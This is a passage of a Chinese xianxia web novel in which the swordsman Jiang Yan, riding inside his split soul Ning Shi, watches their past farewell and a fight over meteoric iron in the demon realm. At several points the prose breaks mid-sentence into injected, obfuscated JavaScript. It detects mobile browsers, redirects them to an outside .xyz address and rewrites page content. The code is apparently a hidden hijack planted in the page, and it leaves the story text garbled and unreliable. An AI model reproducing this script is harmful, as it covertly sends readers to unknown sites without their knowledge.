“感觉被随时被监视一样。” 画了见行符的宁时:…… 他干巴巴地“哦”了一声,却是放下心来。 少年拍了他一巴掌:“别打岔,我刚刚说到哪里来着?” “哦,我是说任务木牌功能强大,能记录时间轨迹。” “然后吧,我们领取的每一个任务,其实都有一个预先估计好的完成时间。” “从下山一直到回到宗门,木牌会自己计时。” “如果这个时间比预估的时间少,我们会有额外的奖励。” “会得到比卡点完成任务更多的灵石和分数。” “唔,那个分数嘛,对以后我们升内门弟子有用。” 宁时:…… 他听呆了,突然感觉少年在合江宗的日子有点……可怜。 少年又嚎了一声: “我下山过来的时候摸鱼了,买了些零食已经耽误了点时间。” “我回程要是再磨蹭点,额外奖励可全都没有了啊啊啊——” 106. 升级 少年既然已经这么说了,宁时也不好再做挽留。 于是他们站在客栈门口,准备各回各家。 少年道:“哥,你到底是哪个门派呀?” “你告诉我,以后我好找到你。” 宁时:…… 糟了,他根本没来得及编好这方面的东西。 久远的、在合江宗大选时匆忙给自己取名字的记忆突然浮上脑海。 宁时不可避免地开始感觉脑壳痛。 于是他高深莫测的看了少年一眼:“不足挂齿。” 少年:“……但是我怕找不到你啊。” 宁时心说找不到才是最好的。 而且自己现在这张脸皮又是假的,就算对方有心找,也不见得有结果。 但表面上,他还是温和地解释道:“嗯,不方便说。” 这个理由说服了少年,少年不再坚持,而是有些失落地“啊”了一声。 宁时拍拍对方的肩:“没事,我叫无名。” 少年:“……但不得不说,这个名字真的很奇怪,有点像假名。” 宁时:…… 他脸上的假笑差点挂不住。 他决定忽视这句话,直接跳过话题,道:“名字只是个代号,你记住我这张脸,山高水长,总有再会的时候。” ——哈哈哈哈想不到我这张脸是假的吧! ——等你再次离开宗门时,我再换一张脸皮跟着你! 宁时如是想到。 可惜少年不会读心术。 他看起来已经陷入了和朋友分别的落寞之中,有些蔫蔫的。 还围在宁时身边,黏黏糊糊。 最后,还是宁时受不了了,推了少年一把:“别墨迹了,赶紧回去吧。” 少年应了一声,目光却只看着他。 宁时在心里暗道一声麻烦,略一思索后,决定自己先走。 于是他对少年挥挥手,道:“那我先回去了哈。” 说罢,凭借着符纸的加持,几乎是瞬间就冲到了远方,身形变成了一个小点。 最终消失在了少年视线的尽头。 少年收回目光,轻声叹了口气,腾空而起,向着另一个方向去了。 …… 与此同时,在宁时的身体里,旁观了整个事件经过的江晏:…… 他沉默良久。 啾啾在意识海中蹦蹦跳跳,最后扑棱着翅膀,站到了他的头顶上: “怎么不说话了?” “你看看你年轻的时候,难道不是话很多吗?” 江晏一把把它薅下来:“不要再讲话了,我谢谢你。” 啾啾:“你并不是真的想让我不讲话,只是怕我嘲笑你。” 江晏:…… 他安静片刻,摊开手耸了耸肩:“有什么好丢人的。” “谁还不是从傻乎乎的年轻时代过来的嘛。” “我当时能把这个任务完成,也没受什么很严重的伤,已经很好了。” 啾啾:“但是你那个分魂……如果我没看错的话,有几个瞬间,他是想把你杀掉的吧?” 江晏扶额:“虽然早就有心理准备,但是直接面对这个事实的时候,还是有些接受困难。” 他话锋一转:“唉,不过最后也没有做什么。” “原来无名就是分魂啊。” “想杀掉我的人,和想拯救我的人,居然都是同一个。” “他们是分魂,也是我自己。” 江晏摊手:“原世界线的分魂性格怎么这么别扭……我总感觉没给我憋好屁。” 啾啾:“嗯哼。” 一人一鸟在宁时的意识海中,看向这个身体回到了胜意门。 又推开了屋子的木门,走到了桌前,对着铜镜取下假面。 于是一张看起来更加成熟和冷峻一些的脸出现了。 …… 啾啾突然对江晏发问: “当年他给你留了名字之后,你再次见过他吗?” 简直是哪壶不开提哪壶。 江晏忍住了翻白眼的冲动:“没有。” 但还是越想越气,忍不住道:“亏他分别的时候还好意思说,让我记住他那张脸!” “结果这张脸就是假的。” “修真界虽然人多,那我后面毕竟当上了峰主,找人更加方便了。” 江晏冷笑了一声:“我曾经还想过,按照少年时遇到的那位符修的天赋,应该能在修真界留名的。” “但怪不得一直没有他的消息,原来从身份到脸全都是假的!” 他愤愤地看向宁时,然后发现这个身体正面对着一排假脸皮认真挑选。 江晏:…… 他看着粗略估计也得有二十多张的脸皮,被噎了一下。 啾啾没有放过他:“哦,那你这分魂可真是精挑细选,从里面专门找了一张少年的模样,带上给你套近乎。” 江晏没好气道:“我真是服了他了……现在都成为门主了,居然有时间做这种手工活。” 说完,依旧是随着宁时的目光,去查看这一堆假面。 有一张假面在他的视线里一闪而过。 江晏:? 好像看到了什么熟悉的东西。 但宁时没有在那张假面前多做停留,继续向后走去了。 江晏见他没有停下步伐的意思,忍不住出声:“欸,先别走啊,我还想看看这张脸呢。” 啾啾:“得了,你在意识海里说的话,他听不见的。” 江晏扶额:“着急了,一时间忘记了。” 啾啾跳上他的肩头:“所以你是看到什么了?” 江晏长长地“唔”了一声:“我感觉自己应该不会记错。。” “刚才过去的一张脸,看起来有几分像我的一个故人。” 啾啾重复了一下他说的最后两个字:“故人?” 江晏:“嗯。” 啾啾踩了他一脚:“给我说实话吧,故人到底是谁?” “反正肯定不会是合江宗的人,如果是同门,你不会这样称呼。” “那只能是外人了。” “但是你无事一般不出宗门,这种在合江宗之外,还能和你有交集,被称得上是故人的人,听起来,关系可不一般啊。” 江晏:“感觉你很期待能听到什么过去的故事。” 啾啾用黑亮的眼睛看着他:“嗯嗯。” “得了吧,那只能说是事故”,江晏拍拍它的脑袋,“是一个让我在即使成为峰主多年之后,依旧难以忘怀的,事故。” 啾啾:“说嘛说嘛。” 江晏问:“唔,那你还记得很久之前,我问你死对头算不算故人的那件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902417|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 啾啾:? 江晏:“对,就是出去捡陨铁,我没有抢过的那次。” 啾啾:? 江晏磨牙:“那一次我让他跑了……但是这张脸,我记得很清楚。” 啾啾做恍然大悟状:“啊,因恨生爱嘛。” 江晏愤怒地拍了拍它:“你是看话本看中毒了吧!” “我之所以记得他长的什么样,是因为在这件事过去几年之后……我们又遇到了一次。” 江晏深吸了一口气,道:“可是这张脸,怎么会出现在分魂的房间里呢。” 啾啾:“如果你真的没有认错人的话,其实到目前为止,真相已经很明显了……” 江晏:“嗯,想想也是。” “也只有分魂才会这么关注我吧。” “拿着他画的符来看我每天都准备干什么,然后专门等到我下山,在途中埋伏我。” 啾啾:“不知为何,总感觉这个形容甚至透露着几分可爱……” 江晏捏住了它的嘴巴:“但是我很好奇。” “分魂一直是想杀掉我的。” “金鸡驿的事情,可以理解为他年龄尚小,到底是不敢下手。” “但魔界陨铁一事,发生时我都已经在合江宗待了有快五十年了。” “中间用很长时间,大概有那么几十年,都在闭关修炼。” “最后凭借着修为,经过了内门弟子、核心弟子的阶段,终于成了兰真人的亲传弟子。” “那时,我虽然长期不接触外界,但心境和刚入门时,也是大不相同。” 江晏停了停,继续:“所以,我就更好奇分魂的事了。” “他比我能折腾,这半百年的时间,把胜意门的名气从竹城传到三界。” “想来和在金鸡驿时相比,变化也是非常大。” “可能办事更稳重了,思维更缜密了。” “但一个人的重大目标一般是不会变的。” “我相信在分魂的很长一段的人生里,一直把弄死我这个‘占了他身体的鬼东西’作为人生目标。” “那我们在魔界再次相遇的时候,用他这张假脸皮相遇的时候。” “他到底是怎么忍住没有坑死我的?” “在金鸡驿时,他考虑的种种计划呢?” “毕竟魔界那一次,我只是感觉到他是单纯的想抢东西。” “呃,也许一开始确实打的比较激烈吧。” “但最后他就那么莫名其妙的跑了。” 江晏一摊手:“真是一个奇怪的灵魂。” 啾啾挣扎着从他的手中抽出自己的鸟喙:“不奇怪,他中间可能遇到的什么事情。” “以至于对你的认识发生了重大改变。” 江晏:“……当时我好像已经到元婴期了吧,总不能他觉得我太强了,打不过我?” 啾啾:“我真是服了,你们剑修的攀比心不要太强了好吗,为什么跟自己的分魂还要比啊……” 江晏不解:“啊,你不感觉这样很畅快吗?” “自己在和自己的较量中不断变强。” “然后超过大部分人,成为一个强大的剑修。” 江晏想了想,又在末尾加上:“哦,或者符修。” 啾啾:“行吧。” “你高兴就好。” 107. 魔界 宁时收拾好了他面前那一堆脸皮,坐回了书桌前。 他去金鸡驿的日子并不算长,但面前已经积攒了一些文书。 宁时对着这摞已经冒尖的任务,沉默片刻,最终还是伸出手取来了一卷翻读着。 江晏附在他的身上,和他一起共同看着。 这是一卷竹城某户人家要查清家中是否闹鬼的任务。 说大不大,以宁时现在的实力过去,多少有点浪费了。 但还好胜意门已经渐渐发展起来,他不再是一个人了。 宁时在纸上画了一笔,写了几个字。 江晏认出,这是胜意门里一个跟着宁时干了几年的跟班的姓名。 ……行吧,分魂在金鸡驿演完戏后,回来还得继续给属下们安排工作。 也算是挺忙的。 他陪着宁时,看他翻过一卷又一卷文书。 不知是不是因为这个身体困了,江晏渐渐发觉,目光中所看到的文字,出现了扭曲和变形。 就连头都开始晕了。 江晏现在虽然是意识体的状态,但也忍不住扶额。 但是……但是。 为什么掌握着这具身体的宁时,看起来没有丝毫不适的表现呢? 啾啾看出了江晏的疑惑。 这只小鸟在意识海中蹦蹦跳跳了片刻,道:“我知道是怎么回事了,不是你在头晕。” “你还记得现在的世界是回溯世界吗?” “回溯世界会主要围绕你和分魂展开,而且具有不稳定性。” “你们俩在金鸡驿的任务之后,应该是交集变少了。” “所以回溯世界里的时间线,会自动快进到你们下一次相遇的时间左右。” 啾啾说到这里,江晏已经听懂了:“嗯,所以说我感觉不舒服,是因为空间波动的影响吗?” 啾啾:“嗯,而且我估计时间线很快就会正式往后推了。” “你做好准备。” 果不其然,在啾啾话音落地后又过了片刻,这种不适感愈发增强了。 江晏只觉得四周的空间在剧烈震荡,紧接着是大片的白光在他眼前爆出。 然后那熟悉的晕眩感又来了。 江晏被一股不知名的力量包裹着,视线里的景物在急速变换。 他穿过了这震荡的时空,这种波动慢慢缓和下来,四周的景物渐渐清晰了。 那种让人想吐的感觉也消失了。 江晏揉了揉眼睛,看向四周。 ……这次,他依然是在什么人的身体里。 以一个旁观者的视角,看着发生的一切。 虽然现在视野受到限制,不能看到他现在这个身体的样子。 但江晏有一种没有缘由的安心感。 也许是因为他的灵魂,坐在这具身体的意识海中,就像是坐在铺了十层被子的软床上一样舒服和契合。 而如此能包容他的灵魂的,估计只有分魂了。 江晏托腮,看着这身体所处的环境。 …… 景色入目,所见之处都是一片荒凉。 他站在旷野之中,周围都是向远处无尽延伸的黄沙。 这片土地上,完全没有绿色植物。 仅存的几种植物,也是干枯的深绿色,枝丫干瘪,不知道是不是还活着。 黄沙和天边相接,天是阴沉的白色。 没有天光,只是一层厚重的似云非云的东西,低低笼罩在头上。 江晏:…… 这个鬼地方看起来也有几分面熟。 他快速地从记忆中搜索了一番,感觉自己可能来过这里。 但是,一时间想不起来地名。 江晏扶额。 而此时,这具身体上的凉意让他不得不回过神来。 ——这里的风太冷了。 带着凌冽的凉意,几乎是一瞬间就吹散了他身体上的温度。 这身体微微缩一下脖子,然后把衣襟拉紧了。 江晏这才发现,他身上穿了一件厚实的大氅,里面是皮毛,外面用布裹着,只在领口处露出一大圈黑色的长绒毛。 身体调整了一下衣领的位置后,那圈绒毛就压到了他的下巴上,被呼出来的气扫着,微微颤动着。 但还是很冷。 这具身体叹了口气,终于在寒冷的风中伸出手,取出了什么东西。 江晏定睛一看,是……一张黄色的符纸。 他心中大概有了猜测。 只见这人催动了灵力,一瞬间,浅红色的光从符纸上闪过。 然后那符纸消散在空中,就像什么都没发生过一样。 但江晏感到,身上确实是暖和了起来。 ——是荒原上呼啸而过的冷风为什么无形的东西阻挡住了。 与此同时,这身体也微微抬头,向上方看了一眼。 于是江晏看到头顶有红光游走了一圈,他便恍然大悟—— 那张符纸的作用,是类似于构建一个隔绝外部东西的防护罩。 使用了之后,外面的冷风吹不进来了,里面被火灵根加热后的暖意也散不出去,所以才会变暖。 显然,这具身体对现在的温度非常满意。 他又把刚刚收拢的领子扯开了一点,一边自言自语道: “火灵根就是好用哈。” “结合符纸就更好用了。” “唉,但是如果是我原来身体的话……” 还是熟悉的声音,熟悉的内容,和熟悉的执念。 江晏彻底放心下来——他又附在了这段时间线里的宁时身上。 ……和他一起在这个鸟不拉屎的鬼地方。 江晏托腮,和啾啾并排坐在意识海中,看向远方。 荒原上,宁时在防护罩中,向前行走着。 还时不时拿出另一张江晏看不懂的符纸,同四周环境比对着。 江晏观察了一会儿,认为此时的宁时应该是正在找东西。 可能是从前大能遗落的宝物。 也可能是难得一遇的天材灵宝。 …… 如此行了半个时辰,周围的景色发生了细微的变化。 原本荒原上只有半死不活的植物,现在又多了一些类人高的石块,星罗棋布,静默地伫立着。 宁时停了下来。 他环顾四周,低声自言自语道: “魔界这里位置不好。” “容易藏人。” 意识海中的江晏:? 他震惊了——这里居然是魔界。 知道是魔界之后,江晏再看着眼前的景色,也慢慢感出了几分熟悉。 他对啾啾道:“我当年确实来过魔界。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当时,我已经是一名亲传弟子了,师傅算出魔界的方位有异动。” “这种异动,在从前修真界的历史上,往往与陨铁相关。” “所以,我按照师傅指的方向,来到了魔界。” 啾啾扑棱了两下翅膀:“那这么一说,我可有几个疑问了哈。” “上天是那么高远,陨铁又稀少,这得用多长时间和多少材料啊。” 江晏摆摆手:“天梯……类似于一个形容词。” “不是说要把它搭建到天上那么高,而是搭建到一定高度后,会和上界的灵力产生共鸣。” “在这种作用下,通往仙界的飞升大门会打开。” “类似起到一种沟通空间的作用。”江晏解释完毕。 啾啾点头:“嗯,我理解了。” “那接下来,是我的第二个问题了。” 小鸟的眼睛里冒出一团光:“所以,我们厉害的合江宗峰主,在这一次,又带了多少陨铁回去呢?” 这句话堪称哪壶不开提哪壶。 江晏黑了脸。 108. 陨铁 那个装扮 有那么一瞬间,江晏甚至怀疑啾啾是故意的。 他无语片刻,道:“这个问题我必须回答吗?” 啾啾:“其实你回不回答已经无所谓了。” “你现在既然这么说了,说明这个结果……不太美妙。” 江晏叹气:“嗯,你说的对。” “当时我根据师傅给的方位,很快就到了地方。” “本来我都看到陨铁了。” “但是突然又出现了一个人,一位蒙着脸的成年男性。” “我不知道他的身份,也不知道他的种族。” “只知道当时他对陨铁同样感兴趣。” “所以理所当然地,我为了取得陨铁,和他打起来了。” 啾啾沉默片刻,道:“……你居然打架了?” 江晏摊手:“虽然你没有见过我打架,但不代表我没做过这种事……说起来剑修不会打架,才应该奇怪吧。” 啾啾点头:“有道理,不过你别转移话题——所以最后的结果如何?” 江晏不答,只是翻了个白眼。 啾啾:…… 它见好就收,没有继续追问下去。 而是和江晏一样,坐着意识海中,顺着宁时的目光看向远方。 宁时脚程还算快,他们在意识海中聊天的这段时间,这身体已经又跨越了数不清的乱石。 江晏感到这具身体的喉咙动了动,自言自语:“唔,应该快到了。” 他的声音与在金鸡驿时发生了变化,似乎更加低沉了。 听起来,有一种成熟的美感。 江晏突然就有些好奇他现在这张脸——不知道分魂这具身体,长大一点时又是什么样子? 分魂毕竟是他的分魂。 不知是不是听到了他的内心所想,宁时停下来脚步。 他伫立在原地,掏出了一块镜子。 江晏:? 他一头问号,对啾啾道:“啊这,他难道是我肚子里的蛔虫吗?” “我刚刚还在心里好奇他的样子呢。” 啾啾不答。 江晏便也没管它,继续盯着宁时手中的银镜看。 只见镜子里是魔界广阔的天,然后从镜子下方边缘,缓缓浮出了一张脸。 端的是英俊端正,剑眉星目,头发色如鸦羽。 只是皮肤苍白了些,看起来不经常见日光的样子。 …… 镜前,啾啾踢了江晏一脚:“如何?” 江晏:“……确实是他那具身体长大后的样子不错。” 他表情看起来有些牙疼:“只是……” 啾啾:“只是什么?” 江晏在脑海中挑挑拣拣了半天形容词,最终道:“嗯,虽然没长残,但气质有点阴郁了……有点像大反派。” 啾啾沉默片刻:“不得不说,你这个想法其实有几分道理的……胜意门在许多大宗门看来,就是歪门邪道。” 江晏不屑:“一群废物。” “不过是修剑修不过别人,修其他的道也不行。” “便开始编排别人。” “等我回去了,非要打……欸?” 江晏对未来的展望暂时被打断了。 他目瞪口呆地看着附在宁时面前的银镜。 镜子还是那个镜子,只是里面的画面…… 瞬间的功夫,宁时不知道从哪里翻出来一件黑色的幕离,戴在了头上。 这样一来,他的一张脸就完全隐没在了布料后面。 看不清五官,只有隐约的轮廓浮现。 一阵风吹过,幕离下摆掀起一阵波浪,于是宁时高挺的鼻梁在布料飘荡之间明明暗暗。 江晏看着,莫名感到了一种“雾里看花”的奇异。 他对着面前这张脸琢磨,逐渐感到了几分眼熟。 ——由于他知道这张脸是宁时的,而宁时又打扮成了这样,以至于让自己忘记了一个也是如此打扮的故人。 想到此处,江晏眼神有些发直,他对啾啾道:“你快看他这个样子,我想起……” 话还没说完,眼前的景象动了动,是宁时收起了镜子,于是那张雾中花一般的面容消失了。 只有漫天黄沙与一地乱石,与江晏隔着这具身体对视。 什么都没有看到的啾啾:? 小鸟向四处张望了一番,扭头回看向剑修,顶着一脑袋问号。 江晏:“……不是,你别这么看我。” “刚刚是你动作太慢了没有看到。” “分魂那个装扮,我绝对是见过的。” “而且我和他产生了互动。” 啾啾奇道:“你们在现在这个时间线里认识了?” 江晏深吸了一口气:“倒也可以这么说。” “只是……这个认识的含义可能并没有那么友好。” “而且我感觉,你马上就可以看到我们认识的过程了。” 黄沙中,江晏的意识体抬起手来,向前面指了一个方向。 啾啾看去,在那位置的尽头,隐约看到了一个正在移动的黑点。 那黑点还越来越大,啾啾在原地飞了一圈——现在可以看出来了,那是一个人形。 是一个逐渐靠近宁时现在所在位置的人类。 这人类前进的速度也不慢,不过几息的功夫,他又前进了不少,是一个可以看清容貌的距离。 江晏和啾啾共同盯着来人,异口同声地发出了一声饱含着复杂感情的叹词: “——嚯!” 一人一鸟感叹完毕,同时侧过头,对上了对方的视线。 江晏抢占先机,率先开口:“不许笑!” 啾啾闻言,打了个嗝——江晏很确定那是因强行止住笑声而产生的结果。 啾啾平复了一番,道:“……咳咳,怎么会呢?” 江晏不语,只是盯着它。 啾啾:“好吧,绝不是因为看到了这个时期的你才笑的。” “……也绝不是因为你那张脸和这身衣服不搭。” “谁让你那么年轻就成为了真人的亲传弟子呢?看起来幼稚一些,也算是情有可原。” “用你在第一个小世界的话来说,那就是谁还没点黑历史?” 江晏:…… 很好,啾啾看似什么都没有吐槽,但确实发出了此时无声胜有声的嘲笑。 他沉默的片刻,道:“那也不算是黑历史。” “只是比较可笑,我还是可以接受的。” “毕竟谁都不是一生下来就什么都会的。” “我那时候看着稚气,也是正常的。” “虽然看着小,但已经开始带着一群师弟师妹了。” “他们都叫我江师兄。” 啾啾:“……行吧。” 在江晏和宁时的共享视线中,这位“江师兄”越靠越近了。 江晏现在之所以能把自己当年做任务的情形看得这么清楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902419|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很明显,答案只有一个—— 那就是此时的宁时,目光一直停留在他身上。 所以才让江晏的意识体通过自己的视线,看到了自己。 想明白了此处,江晏表情微微裂开了。 ——尽管已经接受了分魂无时不刻监视自己身体的现实,但是,等每次真真切切见到,还是很有冲击力的。 而一想到待会要发生什么事情,江晏更是觉得浑身难受。 他闭上了眼睛,隔绝掉外界的画面,装死。 …… 魔界,黄扬城。 宁时独自一人,走在沙漠中。 魔界荒凉,从此地的名字可见一斑。 黄,也就是尘土。 黄扬城,便是尘土飞扬的城市。 此地是极不适宜居住的,宁时一面想着,一面前进着。 没有人,但有陨铁。 宁时摸摸下巴——从他个人的角度出发,他是对陨铁完全没有兴趣的。 但是,有人对这种东西感兴趣。 还求到了胜意门上,并且开出的极为丰厚的价格。 这丰厚的程度,就连宁时自己也为之咋舌——于是他爽快地答应了这项任务。 任务信息很充实,那人告诉了他们陨铁会在魔界何时何地出现,并且给了推算出陨铁所在地的法术。 一切都很顺利,除了陨铁所在的地点有点麻烦——黄扬城。 这里气候恶劣,不用说普通凡人,就连修为低一些的修士,怕是都有去无回。 而在胜意门里,大家的修为有高有低。 但毫无疑问,宁时是里面最厉害的。 于是,顺理成章地,宁时一个人出现在了黄扬城这个鬼地方。 他一个人,拿着图纸,在这里走走停停。 直到远处传来了风声之外的声音。 那是什么人的脚步声——有人过来了。 黄扬城中,终于不再是他一个人了。 宁时抬眼看过去。 于是他看到了一个从来没有预想到会在这里的人——那是应该在合江宗里的江晏。 他会在已经成为了亲传弟子的江晏身上,贴下一张见行符。 这段时间,虽然宁时画符的技术精进了很多,但江晏在宗门里接触到的修士,修为也越发高了。 两边都产生了相同方向的同步变化,于是等于没有变化。 所以宁时依旧没有办法完全掌握他从前这句身体的动态。 ——符纸和从前一样,受到强大灵力的影响,有时候会黑屏。 不过,现在他画的见行符,增加了自动脱落功能。 这是宁时自己琢磨出来的,他认为很有必要。 具体应用场景有: 江晏被师傅叫过去谈话。 江晏听宗门长老教导,等等。 为了避免被这一堆大能发现,此时的见行符就会缩在某个角落里,等江晏办完事情,再次贴上去。 …… 宁时看着江晏远远的那一张脸,眨了眨眼:他记得这个时候,面前这人应该在辅导师弟师妹们。 而不是出现在魔界。 ——中间一定是有什么东西被搞错了。 宁时站在原地,苦思冥想片刻,恍然大悟: 是他的见行符又又又坏掉了。 自己看到的画面有延后性。 江晏的影像还在合江宗的竹林里时,他的本尊已经到了魔界了。 109. 夺宝 在天边,这位“江师兄”的脸越来越近了。 宁时远远望着他。 自从金鸡驿分别之后,两人便再也没有在现实世界里碰面过了。 宁时只会对着他那张见行符传回来的景象,看到对方的一举一动。 看着他身量抽条,有了几份玉树临风的模样。 看着他修为渐长,从外门弟子成为了兰真人的亲传弟子。 不过,见行符里所展现的画面毕竟都是虚像,虽然能见其形,神韵上却差了几分。 不料此时在黄扬城中意外遇到了对方。 宁时望着远处的人像,眯了眯眼。 ——这具身体,看起来比从前更好看了。 他的脸已经长开了,少了几分少年人的圆润,已经露出了棱角分明的下颌线。 已经是介于少年人和青年人之间了。 他的眼睛也不是从前圆圆的了,似乎变的长了一些。 眼波流转之间,是一副潇潇洒洒的师兄模样。 宁时看着他越来越近,挪动了步伐,将身形掩藏在旁边的一块巨石后,同时又扔出了一张可以探测外界画面的符纸。 符纸晕开了一团光,画面逐渐显现。 ——依旧是这位“江师兄”的一张脸,只是比刚才看的更清了。 宁时双手抱在胸前,背靠巨石,垂着眼看着画面。 此时的江晏,没有穿着合江宗外门弟子那一身灰乎乎的衣服,而是一身白衣。 衣袖上滚着金边,一尘不染,那是内门弟子和之上才会有的衣服。 宁时只觉得眼熟,琢磨了片刻后,眉心跳了跳——是从前合江宗大选时,那一群修士穿的衣服。 当年事已久远,虽然知道江晏在进入合江宗后终有一天穿上这身衣服,但此时真切看到,宁时依旧是觉得心情复杂。 他轻轻“啧”了一声,继续观察江晏和以往不同的地方。 是发型,他的发型也变了。 从前那行动间一蹦一跳的高马尾消失了。 他在头顶分出来一半头发,用一枚小小的发冠固定起来。 其余的头发则是披下,在黄扬城的风中飘扬着,带着一些温润的光泽。 而他发冠上还有一圈红色的发带,也携着风,和蜿蜒的青丝纠缠在一起。 宁时单手撑起下巴,小声道: “真装,人模狗样的……不过有一说一,这个造型确实好看。” 他看着红发带的末尾在风中颤着,就像是一只看到了毛线绳的猫。 片刻后,宁时自言自语道: “好想拽一下啊。” “嘶,肯定会打我的。” “但是真的很想拽啊……呃,会不会不小心连带着拽下来几根头发?” 考虑到可能被打,宁时的目光转移到江晏身后,试图通过观察他的武器来达到估计对方战力的目的。 一瞬间,在金鸡驿的记忆不可避免地浮上心头。 宁时没有看到那一把他曾经见过的铁剑。 那一把曾经把一众怨灵打趴下的铁剑。 在剑修背后,是一把他未曾见过的剑。 银色的手柄,在和剑身衔接的位置,镶嵌了一颗红宝石。 行动间,便有微弱的红光流转,映在宁时的瞳孔中。 宁时想,这把剑确实很漂亮,尤其是那块红宝石,简直是和火灵根搭配极了。 而且一看就不是凡品,不知道是不是少年从前所说的“本命武器”。 漂亮是一回事,用来打人很疼又是另外一回事。 欣赏完了,宁时开始思考这个现实的问题。 他在心里权衡了一番,认为剑修虽然长大了,武器和修为都变强了,但不见得能打败自己。 毕竟温室里的小花再怎么枝繁叶茂,也是柔弱——宁时面无表情冷漠地想。 …… 在符纸显示的影像中,剑修逐渐靠近了。 他手中似乎也拿着什么东西,还时不时低下头看一眼,然后调整自己行走的方向。 宁时看了片刻,便低下头看自己的另一张符纸——一张可以探测到陨铁位置的符纸。 他手中,淡黄色的纸上铺满了密密麻麻的纹路,其中,有两个小点发着光闪烁着,一红一白,明明暗暗。 宁时看了一会儿,又去看映着剑修身形的画面。 这不过片刻的功夫,剑修已经往另一个方向走去了。 宁时再次低下头,对着手中发光的符纸看去,片刻后面色微变。 ——剑修前行的方向,正是他手中这张符纸上白点的方向。 而这张图纸上的一红一白两个点,是有意义的。 其中红色代表宁时自己所在的位置,人动了,它在符上的位置也会产生变化。 而另一个白点,位置却是固定的——因为它所代表了陨铁所在的方位。 剑修前进的方向,正是白点所在的方向。 事情已经很明显了,他和剑修的再次相遇,是因为陨铁——二人都为陨铁而来。 想明白此处后,宁时挑眉,笑了:“……我还说呢,你平时根本不出宗门,居然会在此地偶遇。” “原来是因为这个呀,也正常,陨铁确实难得。” “让我猜一猜,你过来拿它,是为了什么呢?” “现在你已经是一名亲传弟子了,自然不需要那些任务积分了。” “而这种能让你亲自出门干的事情,应该是十分重要吧。” “我猜……是你们宗门有头有脸的人物交给你这件事的吧。” “如果你真的取到了陨铁,会得到什么好处呢?” “亲传弟子再往上,是什么东西?” “是管事,长老,峰主……甚至于宗主吗?” “你的胃口真不小啊,从抢了我的身体之后,我就应该知道这一点的。” “陨铁,真是一个好东西啊。” “但至于拿不拿得到,就要看你自己的本事了。” 说完,宁时身形动了动,掀起一阵风,朝着符纸上白点的方向去了。 但超出他意料之中的事情发生了。 不只是因为行动间动作大了些,还是因为对面的剑修修为也变高了,宁时手掌上通过符纸传过来的影像里,剑修的动作顿了一下,神色一凌。 他反手拔出背后那把银色的长剑。 随后向着目标行进的速度也加快了,身形几乎是化成了一道流星掠过,只能隐约看见他身后飘扬的发带。 宁时:…… 糟了,被发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然过程是麻烦了些,但是,如果能从剑修手中抢走的话,既得到了宝物,又能给剑修添堵,岂不是美事一桩——宁时如是想着。 这么一思考,他和剑修同陨铁的距离又拉近了一大截。 剑修想来也是看到他了,手握长剑,扬声道:“这位黑衣道友,想必和合江宗江某一样,也是为陨铁而来。” “但江某实在是急用,望道友高抬贵手,让我取得陨铁,事后必有重谢。” 宁时闻言,额角跳了跳: 对方语气坚定,一副势在必得的模样,完全不是从前那个刚下山好说话的少年了。 不过这样的话……自己和他打起来,也少了很多负罪感。 于是他并不答话,只是再次提升了御气的速度。 而在对面,剑修见他没有回应,反而加速向陨铁冲过去,哪里还有什么不明白的? 剑修便正色道:“看来道友和江某所想一样,都誓将取得陨铁。” “那就要各凭机缘了。” 他说罢,宁时只见眼前红光暴涨。 二人一同向陨铁冲了过去。 110. 被骂爽了 黄扬城上,瞬间扬起两道红光,向着那一块陨铁去了。 宁时在空中疾驰,感受着凛冽的风割在脸上,险些丧失了表情管理—— 头发糊在了脸上不算丢人,可如果落后于剑修碰到陨铁,那可是大大地丢人。 他咬着牙,看着视线里这块石头越来越近,抬起右手,向石头伸了过去。 同时,余光中见到剑修和陨铁之间的距离,和他自己与陨铁的距离相差无几,便狠了狠心,左掌中爆出一团灵力,向另一侧的剑修轰了过去! 剑修毫无防备,被砸了个正着,动作停滞了一瞬,微微偏离了行径的轨迹。 ……计划得逞了。 黑色的幕离下,宁时勾起了一侧的嘴角,露出了一个几不可察的笑。 而至于剑修那一侧传来的一声“下作”,则是他意料之中的东西,不必过多理会。 与生气或心虚不同,听着剑修骂他的这一声,宁时有点……爽了。 这证明他在某种程度上,引起了对方的关注。 而且还给对方造成了不容忽视的影响。 算是把金鸡驿时,没有坑对方的做法补了回来吧——宁时如是想。 身侧,剑修比从前更加沉稳了。 